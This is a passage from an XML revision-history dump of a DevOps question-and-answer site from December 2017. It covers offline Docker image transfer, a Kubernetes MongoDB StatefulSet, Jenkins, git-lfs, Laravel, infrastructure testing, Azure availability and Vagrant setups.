checks. &#xD;&#xA;&#xD;&#xA;This approach is applicable to *any* potential regression-causing mistakes, not just improper DTO subtrees. An example of such approach would be [the gerrit-based development on OpenStack][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.openstack.org/infra/manual/developers.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8643" PostHistoryTypeId="33" PostId="2743" RevisionGUID="f0239b92-a766-461c-a78c-54cfd6c05e9f" CreationDate="2017-12-03T12:57:43.850" UserId="210" Comment="11" />
  <row Id="8644" PostHistoryTypeId="2" PostId="2766" RevisionGUID="e41b26d4-9ddd-4f52-ac62-a70b5a1d26e7" CreationDate="2017-12-03T13:26:18.993" UserId="210" Text="To me it is not completely clear what you are trying to achieve and why the attempts are not a solution for the problem. If I would need to solve this issue I would like @Tensibai and other Q&amp;As indicated, do a docker pull first on a system with internet connectivity, save the docker image, copy it to the machine, load the image and run it.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8645" PostHistoryTypeId="5" PostId="2766" RevisionGUID="116a3451-ac6e-4f4c-9039-5ed1f68f4e9f" CreationDate="2017-12-03T13:35:59.387" UserId="210" Comment="added 1376 characters in body" Text="To me it is not completely clear what you are trying to achieve and why the attempts are not a solution for the problem. If I would need to solve this issue I would like @Tensibai and other Q&amp;As indicated, do a docker pull first on a system with internet connectivity, save the docker image, copy it to the machine without internet connectivity, load the image and run it.&#xD;&#xA;&#xD;&#xA;**Demonstration**&#xD;&#xA;&#xD;&#xA;There are no images on system A:&#xD;&#xA;&#xD;&#xA;    userA@systemA ~ $ docker images&#xD;&#xA;    REPOSITORY        TAG               IMAGE ID          CREATED             SIZE&#xD;&#xA;    userA@systemA ~ $&#xD;&#xA;&#xD;&#xA;Pull an image from dockerhub:&#xD;&#xA;&#xD;&#xA;    userA@systemA ~ $&#xD;&#xA;    docker pull nginx&#xD;&#xA;    Using default tag: latest&#xD;&#xA;    latest: Pulling from library/nginx&#xD;&#xA;    bc95e04b23c0: Pull complete &#xD;&#xA;    f3186e650f4e: Pull complete &#xD;&#xA;    9ac7d6621708: Pull complete &#xD;&#xA;    Digest: sha256:b81f317384d7388708a498555c28a7cce778a8f291d90021208b3eba3fe74887&#xD;&#xA;    Status: Downloaded newer image for nginx:latest&#xD;&#xA;    userA@systemA ~ $ docker images&#xD;&#xA;    REPOSITORY        TAG               IMAGE ID            CREATED             SIZE&#xD;&#xA;    nginx             latest            9e7424e5dbae        10 days ago         108MB&#xD;&#xA;&#xD;&#xA;Save docker image:&#xD;&#xA;&#xD;&#xA;    userA@systemA ~ $ docker save nginx -o nginx.tar&#xD;&#xA;&#xD;&#xA;Copy docker image to systemB and load it.&#xD;&#xA;&#xD;&#xA;    userB@systemB ~ $ docker load -i nginx.tar&#xD;&#xA;    cec7521cdf36: Loading layer  58.44MB/58.44MB&#xD;&#xA;    350d50e58b6c: Loading layer  53.76MB/53.76MB&#xD;&#xA;    63c39cd4a775: Loading layer  3.584kB/3.584kB&#xD;&#xA;    Loaded image: nginx:latest&#xD;&#xA;    userB@systemB ~ $ docker images&#xD;&#xA;    REPOSITORY        TAG               IMAGE ID            CREATED             SIZE&#xD;&#xA;    nginx             latest            9e7424e5dbae        10 days ago         108MB&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8646" PostHistoryTypeId="2" PostId="2767" RevisionGUID="eeb3ee16-ef58-42ad-ba66-0936afa88d38" CreationDate="2017-12-03T13:55:04.743" UserId="210" Text="To me, but correct me if I am wrong, the Jenkins servers should not be rebooted, but they should create VMs and reboot them. When I read the question I get the impression the slaves are rebooted, i.e. `I can't just use the executor on the slave node because we reboot the server and that would kill the job.` To me it seems that the jenkins slave should create a VM, run the tests, reboot the system, run some additional tests and finally remove the VMs.&#xD;&#xA;&#xD;&#xA;From a production perspective, but again correct me if I am wrong the team is not using Jenkins to provision the systems and subsequently reboot the nodes? It could be possible that they use Jenkins to start the provision step, but they will not reboot the Jenkins systems right?&#xD;&#xA;&#xD;&#xA;I would recommend to start with the Production perspective, e.g. How does the team provision the systems at the moment? E.g. Chef? If that is the case, how to they run that? If they would run chef apply then this could be run by a Jenkins slave, but I would not reboot the jenkins slave but automate the process of creating a VM, provision it, reboot it and kill it. The latter is only applicable for testing purposes." ContentLicense="CC BY-SA 3.0" />
  <row Id="8648" PostHistoryTypeId="2" PostId="2768" RevisionGUID="d02d1bd2-6676-42cc-84ce-2869fb7af5d4" CreationDate="2017-12-03T14:00:28.477" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8649" PostHistoryTypeId="1" PostId="2768" RevisionGUID="d02d1bd2-6676-42cc-84ce-2869fb7af5d4" CreationDate="2017-12-03T14:00:28.477" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8650" PostHistoryTypeId="2" PostId="2769" RevisionGUID="a8efe60e-bacf-4b4a-b9cd-f1dc7a974fe5" CreationDate="2017-12-03T14:00:28.477" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8651" PostHistoryTypeId="1" PostId="2769" RevisionGUID="a8efe60e-bacf-4b4a-b9cd-f1dc7a974fe5" CreationDate="2017-12-03T14:00:28.477" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8652" PostHistoryTypeId="2" PostId="2770" RevisionGUID="f68a2983-9907-4307-aac5-22722141b144" CreationDate="2017-12-03T14:40:09.080" UserId="210" Text="https://www.mongodb.com/blog/post/running-mongodb-as-a-microservice-with-docker-and-kubernetes&#xD;&#xA;&#xD;&#xA;&gt; MongoDB database nodes are stateful. In the event that a container&#xD;&#xA;&gt; fails, and is rescheduled, it's undesirable for the data to be lost&#xD;&#xA;&gt; (it could be recovered from other nodes in the replica set, but that&#xD;&#xA;&gt; takes time). To solve this, features such as the Volume abstraction in&#xD;&#xA;&gt; Kubernetes can be used to map what would otherwise be an ephemeral&#xD;&#xA;&gt; MongoDB data directory in the container to a persistent location where&#xD;&#xA;&gt; the data survives container failure and rescheduling.&#xD;&#xA;&#xD;&#xA;Like @Tensibai indicated the issue is related to the replication. According to [this blog][1] it could be solved as follows.&#xD;&#xA;&#xD;&#xA;&gt;      apiVersion: apps/v1beta1&#xD;&#xA;&gt;     kind: StatefulSet&#xD;&#xA;&gt;     metadata:&#xD;&#xA;&gt;       name: mongo&#xD;&#xA;&gt;     spec:&#xD;&#xA;&gt;       serviceName: &quot;mongo&quot;&#xD;&#xA;&gt;       replicas: 3&#xD;&#xA;&gt;       template:&#xD;&#xA;&gt;         metadata:&#xD;&#xA;&gt;           labels:&#xD;&#xA;&gt;             role: mongo&#xD;&#xA;&gt;             environment: test&#xD;&#xA;&gt;         spec:&#xD;&#xA;&gt;           terminationGracePeriodSeconds: 10&#xD;&#xA;&gt;           containers:&#xD;&#xA;&gt;             - name: mongo&#xD;&#xA;&gt;               image: mongo&#xD;&#xA;&gt;               command:&#xD;&#xA;&gt;                 - mongod&#xD;&#xA;&gt;                 - &quot;--replSet&quot;&#xD;&#xA;&gt;                 - rs0&#xD;&#xA;&gt;                 - &quot;--smallfiles&quot;&#xD;&#xA;&gt;                 - &quot;--noprealloc&quot;&#xD;&#xA;&gt;               ports:&#xD;&#xA;&gt;                 - containerPort: 27017&#xD;&#xA;&gt;               volumeMounts:&#xD;&#xA;&gt;                 - name: mongo-persistent-storage&#xD;&#xA;&gt;                   mountPath: /data/db&#xD;&#xA;&gt;             - name: mongo-sidecar&#xD;&#xA;&gt;               image: cvallance/mongo-k8s-sidecar&#xD;&#xA;&gt;               env:&#xD;&#xA;&gt;                 - name: MONGO_SIDECAR_POD_LABELS&#xD;&#xA;&gt;                   value: &quot;role=mongo,environment=test&quot;&#xD;&#xA;&gt;       volumeClaimTemplates:&#xD;&#xA;&gt;       - metadata:&#xD;&#xA;&gt;           name: mongo-persistent-storage&#xD;&#xA;&gt;           annotations:&#xD;&#xA;&gt;             volume.beta.kubernetes.io/storage-class: &quot;fast&quot;&#xD;&#xA;&gt;         spec:&#xD;&#xA;&gt;           accessModes: [ &quot;ReadWriteOnce&quot; ]&#xD;&#xA;&gt;           resources:&#xD;&#xA;&gt;             requests:&#xD;&#xA;&gt;               storage: 100Gi&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.kubernetes.io/2017/01/running-mongodb-on-kubernetes-with-statefulsets.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="8653" PostHistoryTypeId="2" PostId="2771" RevisionGUID="6e346c2d-5327-489a-b77d-f4f3b7d6ba5e" CreationDate="2017-12-03T14:51:33.953" UserId="210" Text="Instead of creating a dockerfile yourself you could also pull a docker image, e.g. [alexcheng/magento2][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/alexcheng/magento2/" ContentLicense="CC BY-SA 3.0" />
  <row Id="8654" PostHistoryTypeId="5" PostId="2648" RevisionGUID="323fc929-84f1-48e0-8891-0ddb0b47bc9e" CreationDate="2017-12-03T14:52:48.180" UserId="210" Comment="deleted 7 characters in body" Text="This is what I have accomplished up to now. Written a docker file where I have done the following and for now I have not used the docker compose.&#xD;&#xA;&#xD;&#xA; 1. Used alpine as base Os&#xD;&#xA; 2. setup nginx&#xD;&#xA; 3. setup php-fpm&#xD;&#xA; 4. Installed magento2 file &#xD;&#xA;&#xD;&#xA;So my docker build is ready and the container is ready and can see the setup page when opening it on the browser.&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;**My problem**&#xD;&#xA;How do I automate  this Magento2 installation process from **dockerfile**. Like setting up database and the other installation process.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/MFLHY.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8655" PostHistoryTypeId="2" PostId="2772" RevisionGUID="989a4559-bd2e-473d-9e68-f5554e102dc9" CreationDate="2017-12-03T14:56:17.250" UserId="3070" Text="So it turns out that the [Moby Project](https://mobyproject.org/) has a shell script on the [Moby Github](https://github.com/moby/moby/) which can download images from [Docker Hub](https://hub.docker.com/) in a format that can be imported into Docker:&#xD;&#xA;&#xD;&#xA;- [download-frozen-image-v2.sh](https://raw.githubusercontent.com/moby/moby/master/contrib/download-frozen-image-v2.sh)&#xD;&#xA;&#xD;&#xA;The usage syntax for the script is given by the following:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    download-frozen-image-v2.sh target_dir image[:tag][@digest] ...&#xD;&#xA;&#xD;&#xA;The image can then be imported with `tar` and `docker load`:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    tar -cC 'target_dir' . | docker load&#xD;&#xA;&#xD;&#xA;As an example, here is how I downloaded an Ubuntu image from Docker Hub:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ bash download-frozen-image-v2.sh ubuntu ubuntu:latest&#xD;&#xA;    user@host:~$ tar -cC 'ubuntu' . | docker load&#xD;&#xA;    user@host:~$ docker run --rm -ti ubuntu bash&#xD;&#xA;    root@1dd5e62113b9:/#" ContentLicense="CC BY-SA 3.0" />
  <row Id="8656" PostHistoryTypeId="50" PostId="1877" RevisionGUID="6b631329-1386-495f-8067-87c59ddb758a" CreationDate="2017-12-03T15:03:24.240" UserId="-1" />
  <row Id="8657" PostHistoryTypeId="2" PostId="2773" RevisionGUID="0f36265a-9ed0-47ad-8ab3-4aedef4f8d9c" CreationDate="2017-12-03T15:05:28.167" UserId="210" Text="At the moment this seems not to be possible in bitbcuket at the moment. Therefore I have created [an enhancement in the Bitbucket issue tracker][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/site/master/issues/15301/as-an-administrator-i-can-configure" ContentLicense="CC BY-SA 3.0" />
  <row Id="8658" PostHistoryTypeId="5" PostId="2772" RevisionGUID="89c36f8a-0091-41e2-b951-5b03a0d8c828" CreationDate="2017-12-03T15:19:09.173" UserId="3070" Comment="added 611 characters in body; added 47 characters in body" Text="So it turns out that the [Moby Project](https://mobyproject.org/) has a shell script on the [Moby Github](https://github.com/moby/moby/) which can download images from [Docker Hub](https://hub.docker.com/) in a format that can be imported into Docker:&#xD;&#xA;&#xD;&#xA;- [download-frozen-image-v2.sh](https://raw.githubusercontent.com/moby/moby/master/contrib/download-frozen-image-v2.sh)&#xD;&#xA;&#xD;&#xA;The usage syntax for the script is given by the following:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    download-frozen-image-v2.sh target_dir image[:tag][@digest] ...&#xD;&#xA;&#xD;&#xA;The image can then be imported with `tar` and `docker load`:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    tar -cC 'target_dir' . | docker load&#xD;&#xA;&#xD;&#xA;To verify that the script works as expected, I downloaded an Ubuntu image from Docker Hub and loaded it into Docker:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@host:~$ bash download-frozen-image-v2.sh ubuntu ubuntu:latest&#xD;&#xA;    user@host:~$ tar -cC 'ubuntu' . | docker load&#xD;&#xA;    user@host:~$ docker run --rm -ti ubuntu bash&#xD;&#xA;    root@1dd5e62113b9:/#&#xD;&#xA;&#xD;&#xA;In practice I would have to first copy the data from the internet client (which does *not* have Docker installed) to the target/destination machine (which *does* have Docker installed):&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@nodocker:~$ bash download-frozen-image-v2.sh ubuntu ubuntu:latest&#xD;&#xA;    user@nodocker:~$ tar -C 'ubuntu' -cf 'ubuntu.tar' .&#xD;&#xA;    user@nodocker:~$ scp ubuntu.tar user@hasdocker:~&#xD;&#xA;&#xD;&#xA;and then load and use the image on the target host:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: bash --&gt;&#xD;&#xA;&#xD;&#xA;    user@hasdocker:~ docker load ubuntu.tar&#xD;&#xA;    user@hasdocker:~ docker run --rm -ti ubuntu bash&#xD;&#xA;    root@1dd5e62113b9:/#" ContentLicense="CC BY-SA 3.0" />
  <row Id="8659" PostHistoryTypeId="50" PostId="1917" RevisionGUID="7169c1b6-bb61-4c79-8e98-0e2732a2c9e2" CreationDate="2017-12-03T16:03:23.737" UserId="-1" />
  <row Id="8660" PostHistoryTypeId="5" PostId="2743" RevisionGUID="ef6f5569-98a1-402d-a7ce-e4b55ee38226" CreationDate="2017-12-03T16:55:02.470" UserId="210" Comment="added 211 characters in body" Text="Git large file system git-lfs could be used to store large files and at a txt file to the git repository. The question is when to decide whether a file should go to git LFS and if that is done whether the existing CI configuration will break.&#xD;&#xA;&#xD;&#xA;Sometimes jars are added to a repository like the gradlew.jar. According to me, binaries like jars should not be stored in git as these are not text files that change, but a binary does not have to be large.&#xD;&#xA;&#xD;&#xA;Currently we have multiple git repositories that contain jar files. I wonder whether all these jars should be moved to git-lfs." ContentLicense="CC BY-SA 3.0" />
  <row Id="8661" PostHistoryTypeId="50" PostId="2428" RevisionGUID="5b3246fd-3df7-47a7-bb67-f6b9af9a7808" CreationDate="2017-12-03T17:03:24.590" UserId="-1" />
  <row Id="8662" PostHistoryTypeId="2" PostId="2774" RevisionGUID="cf6cf695-d8c2-40e1-b8fe-8667423a46f7" CreationDate="2017-12-03T17:30:06.080" UserId="5051" Text="The confusion might come from the concepts behind the tools you are using. So let's start with a little definition.&#xD;&#xA;&#xD;&#xA;&gt; Laravel and Artisan&#xD;&#xA;&#xD;&#xA;**Laravel**&#xD;&#xA;&#xD;&#xA;*Framework* for building a full MVC Web application in PHP. It is the equivalent of Spring-boot with Java or Rails with Ruby.&#xD;&#xA;&#xD;&#xA;**[Artisan][1]**&#xD;&#xA;&#xD;&#xA;Laravel's console driven interface for development. It provides tools such as the web server coming with PHP 5.4+. When using the &quot;serve&quot; command a simple web server will start. This is perfect for development, but I would suggest you use a server that gives you proper configuration flexibility in production such as Apache or nginx.&#xD;&#xA;&#xD;&#xA;&gt; Your other thoughts&#xD;&#xA;&#xD;&#xA;**Java/Ruby/PHP/Javascript**&#xD;&#xA;&#xD;&#xA;Are programming languages. Node.js is like an ecosystem that allows you to run client/server/middleware/tools Javascript based applications. Someone did a great job of comparing it with a Java ecosystem. [Right here][3].&#xD;&#xA;&#xD;&#xA;&gt; But is `Laravel artisan serve` possible for production?&#xD;&#xA;&#xD;&#xA;In theory, yes. It would require your development setup to be in production as well. Hence from this assertion, the answer becomes self evident for security, operability, configuration and performance to name a few. You will need a different configuration for production.&#xD;&#xA;&#xD;&#xA;&gt; How to serve RESTful API?&#xD;&#xA;&#xD;&#xA;No matter which language you use, choose a library or a framework that will give you the tools to implement your APIs. Since Laravel is your framework, you can take a look at this tutorial to [get started][2].&#xD;&#xA;&#xD;&#xA;  [1]: https://laravel.com/docs/5.0/artisan#introduction&#xD;&#xA;  [2]: https://medium.com/@devlob/creating-apis-in-laravel-5-5-using-api-resources-9850c1b70efb&#xD;&#xA;  [3]: https://dzone.com/articles/what-is-nodejs-for-java-developers" ContentLicense="CC BY-SA 3.0" />
  <row Id="8663" PostHistoryTypeId="2" PostId="2775" RevisionGUID="4027295f-5339-4281-b2fc-d3df964c06b9" CreationDate="2017-12-03T23:43:42.017" UserId="2852" Text="&lt;sub&gt;(upon request from comments)&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;[BlackDuck][1] has tools to monitor use of open source components, and &quot;manage open source compliance &amp; security&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.blackducksoftware.com/products/protex" ContentLicense="CC BY-SA 3.0" />
  <row Id="8668" PostHistoryTypeId="2" PostId="2777" RevisionGUID="1ad40a9e-8974-446b-b51d-fc28aeb67129" CreationDate="2017-12-04T12:05:17.893" UserId="5549" Text="Infrastructure as code tells us to use tools that automate your builds. Great. Tools like [ansible][1], [chef][2], [puppet][3], [salt stack][4] and others push us towards writing how infrastructure looks like, while resolving the differences. &#xD;&#xA;&#xD;&#xA;In Salt Stack those bits are called [states][5]. If state does not match the reality, the tool will resolve it for us. In other words - we are writing a test for our infrastructure and if the test fails, the tool will fix it on its own. At least that's the idea.&#xD;&#xA;&#xD;&#xA;XP teaches us to use TDD and the question is if it's applicable to infrastructure? The tooling suggests it is.&#xD;&#xA;&#xD;&#xA;I can imagine few type of tests that can be very useful. &#xD;&#xA;&#xD;&#xA;We write smoke tests that are bundled with the deployed service to ensure that end-to-end the deployed service works and runs as expected. This would be an API call or/and systemctl check to make sure what we just deployed works. A lot of this functionality can be covered in the same states since tools like ansible have states to make sure a service is running.&#xD;&#xA;&#xD;&#xA;There is project [Molecule][6] that allows running individual [roles][7] (as ansible calls its states) against docker or another temporary virtualisation engine. This forces to decouple roles and allows to execute them in isolation from the playbook while working on them. Tests mostly allow mocking the variables that the role is supposed to work with. Other examples seem like a duplication of the ansible engine though (assert a file belongs to a user...).&#xD;&#xA;&#xD;&#xA;[ThoughtWorks][8] tech radar right now praises tools like [inspec][9], [serverspec][10] or [goss][11] for validating that the server meets the spec. But we are writing a spec, aren't we?&#xD;&#xA;&#xD;&#xA;So is there a point in further testing infrastructure if we are describing infrastructure in states/roles? I could suspect this becomes more required in larger organisations where one team provides the spec and other follows, or if there is a large set of roles maybe you want to run a subset of those and get a speed benefit from tests? I'm struggling to see why you would write a test if you could have a role/state for the same question in mind.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.ansible.com/&#xD;&#xA;  [2]: https://www.chef.io/&#xD;&#xA;  [3]: https://puppet.com/&#xD;&#xA;  [4]: https://saltstack.com/&#xD;&#xA;  [5]: https://docs.saltstack.com/en/latest/topics/tutorials/starting_states.html&#xD;&#xA;  [6]: https://molecule.readthedocs.io/en/latest/&#xD;&#xA;  [7]: https://docs.ansible.com/ansible/latest/playbooks_reuse_roles.html&#xD;&#xA;  [8]: https://www.thoughtworks.com/radar/tools&#xD;&#xA;  [9]: https://www.inspec.io/&#xD;&#xA;  [10]: http://serverspec.org/&#xD;&#xA;  [11]: https://github.com/aelsabbahy/goss" ContentLicense="CC BY-SA 3.0" />
  <row Id="8669" PostHistoryTypeId="1" PostId="2777" RevisionGUID="1ad40a9e-8974-446b-b51d-fc28aeb67129" CreationDate="2017-12-04T12:05:17.893" UserId="5549" Text="Writing infrastructure states vs Testing infrastructure" ContentLicense="CC BY-SA 3.0" />
  <row Id="8670" PostHistoryTypeId="3" PostId="2777" RevisionGUID="1ad40a9e-8974-446b-b51d-fc28aeb67129" CreationDate="2017-12-04T12:05:17.893" UserId="5549" Text="&lt;deployment&gt;&lt;testing&gt;&lt;infrastructure-as-code&gt;&lt;serverspec&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8671" PostHistoryTypeId="2" PostId="2778" RevisionGUID="582f34a1-8681-4a72-a00d-44b874db1f54" CreationDate="2017-12-04T12:27:49.740" UserId="4175" Text="# Background&#xD;&#xA;&#xD;&#xA;I have an application which comes with a Vagrant setup that is designed for this usage scenario:&#xD;&#xA;&#xD;&#xA;    Laptop (Windows, Virtualbox host) =&gt; edit source code&#xD;&#xA;    +----&gt; Vagrant VM (Linux) =&gt; build and run&#xD;&#xA;&#xD;&#xA;Plain, default, simple, works. The sources are on a shared/synced directory, i.e., they are usually edited on the Windows host and then compiled and ran inside the VM.&#xD;&#xA;&#xD;&#xA;Unfortunately, I prefer to use Linux development tools myself. Right now, I have this setup:&#xD;&#xA;&#xD;&#xA;    Laptop (Windows)&#xD;&#xA;    +----&gt; Vagrant VM&#xD;&#xA;    +----&gt; My personal VM (Linux, non-vagrant)&#xD;&#xA;&#xD;&#xA;So my editor etc. run in the personal VM, and I have a common directory shared through Virtualbox. Again, everything works just fine. There are just two problems:&#xD;&#xA;&#xD;&#xA;1. To control the vagrant stuff, I need to enter the `vagrant` commands in the Windows, which is slowing me down. For example, to run the build inside the vagrant VM, I would prefer to use a hotkey in my editor to start `vagrant ssh build.sh` instead of switching to the CMD.EXE and entering that command.&#xD;&#xA;2. The actual source files are on a NTFS directory, and it seems like Virtualbox is not able to simulate `+x` permissions fully; if I do a `chmod +x` on some of the files (scripts), it just does nothing.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;&#xD;&#xA;I don't wish to open the can of worms that is &quot;virtualization inside virtualization&quot; (i.e., I won't run Linux Virtualbox inside a Windows-hosted VM); so this keeps me with these two alternatives:&#xD;&#xA;&#xD;&#xA;Is there a way to control the &quot;Windows-Vagrant&quot; that is running on the Windows host from inside a Linux VM (which itself is not under Vagrant control), i.e., to use `vagrant up` or `vagrant ssh`?&#xD;&#xA;&#xD;&#xA;Alternatively, is it possible to install &quot;Linux-Vagrant&quot; in my existing VM right away (i.e. the Debian version) and have it create its VM in the *Windows* host?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8672" PostHistoryTypeId="1" PostId="2778" RevisionGUID="582f34a1-8681-4a72-a00d-44b874db1f54" CreationDate="2017-12-04T12:27:49.740" UserId="4175" Text="Vagrant inside a VM to control the VM host" ContentLicense="CC BY-SA 3.0" />
  <row Id="8673" PostHistoryTypeId="3" PostId="2778" RevisionGUID="582f34a1-8681-4a72-a00d-44b874db1f54" CreationDate="2017-12-04T12:27:49.740" UserId="4175" Text="&lt;vmware&gt;&lt;virtualbox&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8677" PostHistoryTypeId="4" PostId="2777" RevisionGUID="b4d03059-9f4f-4028-b349-e9c1bf6a618a" CreationDate="2017-12-04T13:01:58.973" UserId="5549" Comment="edited title" Text="Infrastructure as code and TDD" ContentLicense="CC BY-SA 3.0" />
  <row Id="8678" PostHistoryTypeId="2" PostId="2779" RevisionGUID="1b5c9771-06e0-4205-a2e3-67d07e1b6907" CreationDate="2017-12-04T13:28:26.657" UserId="5489" Text="I have looked at the question and answer in https://devops.stackexchange.com/questions/711/how-do-you-calculate-the-compound-service-level-agreement-sla-for-cloud-servic?newreg=c0bbff3cd2c44330b5acec9b2e6b1944&#xD;&#xA;&#xD;&#xA;I have a service fabric application which has a stateful service which stores the data in the disks of the VMs themselves.&#xD;&#xA;Service fabric relies on underlying Virtual machine scale set's availability, which is 99.95 %&#xD;&#xA;The azure storage VHD has a SLA of 99%&#xD;&#xA;&#xD;&#xA;Going by the answers in the question above, is my applications availability 99.95 % * 99%  = 98.9505 % ?&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;This seems a little strange that i use a stateful service in azure service fabric which is supposed to be a distributed service mesh framework and the availability of the services built is so low. &#xD;&#xA;&#xD;&#xA;I am sure I am missing something. Can anyone tell me if my calculation is correct ?&#xD;&#xA;Do I need to consider the number of replicas in my calculations in which case I have as many VHDs as replicas ??&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/sx6Df.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="8679" PostHistoryTypeId="1" PostId="2779" RevisionGUID="1b5c9771-06e0-4205-a2e3-67d07e1b6907" CreationDate="2017-12-04T13:28:26.657" UserId="5489" Text="availability calculation of a azure service fabric stateful application" ContentLicense="CC BY-SA 3.0" />
  <row Id="8680" PostHistoryTypeId="3" PostId="2779" RevisionGUID="1b5c9771-06e0-4205-a2e3-67d07e1b6907" CreationDate="2017-12-04T13:28:26.657" UserId="5489" Text="&lt;cloud&gt;&lt;azure&gt;&lt;architecture&gt;&lt;infrastructure&gt;&lt;sla&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8681" PostHistoryTypeId="2" PostId="2780" RevisionGUID="ed6beee0-b54c-4eb9-adc8-dde3a075b309" CreationDate="2017-12-04T13:35:49.613" UserId="707" Text="Imagine you would run a bunch of services say based on the same Tomcat image.&#xD;&#xA;&#xD;&#xA;Would Docker optimize memory usage for identical memory segments and reuse these patterns?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8682" PostHistoryTypeId="1" PostId="2780" RevisionGUID="ed6beee0-b54c-4eb9-adc8-dde3a075b309" CreationDate="2017-12-04T13:35:49.613" UserId="707" Text="Docker and shared memory optimization?" ContentLicense="CC BY-SA 3.0" />
  <row Id="8683" PostHistoryTypeId="3" PostId="2780" RevisionGUID="ed6beee0-b54c-4eb9-adc8-dde3a075b309" CreationDate="2017-12-04T13:35:49.613" UserId="707" Text="&lt;docker&gt;&lt;performance&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8684" PostHistoryTypeId="6" PostId="2777" RevisionGUID="bf0773fc-fb40-479e-add1-dd5d9fc89d03" CreationDate="2017-12-04T15:02:47.577" UserId="47" Comment="edited tags" Text="&lt;deployment&gt;&lt;testing&gt;&lt;infrastructure-as-code&gt;&lt;serverspec&gt;&lt;tdd&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="8685" PostHistoryTypeId="2" PostId="2781" RevisionGUID="9f3fd302-5f33-4197-946c-93bfd0d83a83" CreationDate="2017-12-04T15:04:33.057" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8686" PostHistoryTypeId="1" PostId="2781" RevisionGUID="9f3fd302-5f33-4197-946c-93bfd0d83a83" CreationDate="2017-12-04T15:04:33.057" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8687" PostHistoryTypeId="2" PostId="2782" RevisionGUID="db2a9c8a-1974-41d9-9b43-1cab361f18c0" CreationDate="2017-12-04T15:04:33.057" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="8688" PostHistoryTypeId="1" PostId="2782" RevisionGUID="db2a9c8a-1974-41d9-9b43-1cab361f18c0" CreationDate="2017-12-04T15:04:33.057" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8689" PostHistoryTypeId="5" PostId="2778" RevisionGUID="f4cbdab7-7476-4ed6-a7a1-dadaf858c9d5" CreationDate="2017-12-04T15:19:43.120" UserId="4175" Comment="added 35 characters in body" Text="# Background&#xD;&#xA;&#xD;&#xA;I have an application which comes with a Vagrant setup that is designed for this usage scenario:&#xD;&#xA;&#xD;&#xA;    Laptop (Windows, Virtualbox host) =&gt; edit source code&#xD;&#xA;    +----&gt; Vagrant VM (Linux) =&gt; build and run&#xD;&#xA;&#xD;&#xA;Plain, default, simple, works. The sources are on a shared/synced directory, i.e., they are usually edited on the Windows host and then compiled and ran inside the VM.&#xD;&#xA;&#xD;&#xA;Unfortunately, I prefer to use Linux development tools myself. Right now, I have this setup:&#xD;&#xA;&#xD;&#xA;    Laptop (Windows)&#xD;&#xA;    +----&gt; Vagrant VM&#xD;&#xA;    +----&gt; My personal VM (Linux, non-vagrant)&#xD;&#xA;&#xD;&#xA;So my editor etc. run in the personal VM, and I have a common directory shared through Virtualbox. Again, everything works just fine. There are just two problems:&#xD;&#xA;&#xD;&#xA;1. To control the vagrant stuff, I need to enter the `vagrant` commands in the Windows shell, which is slowing me down. For example, to run the build inside the vagrant VM, I would prefer to use a hotkey in my editor to start `vagrant ssh build.sh` instead of switching to the CMD.EXE and entering that command. Unneccessary context switch.&#xD;&#xA;2. The actual source files are on a NTFS directory, and it seems like Virtualbox is not able to simulate `+x` permissions fully; if I do a `chmod +x` on some of the files (scripts), it just does nothing.&#xD;&#xA;&#xD;&#xA;# Question&#xD;&#xA;&#xD;&#xA;I don't wish to open the can of worms that is &quot;virtualization inside virtualization&quot; (i.e., I won't run Linux Virtualbox inside a Windows-hosted VM); so this keeps me with these two 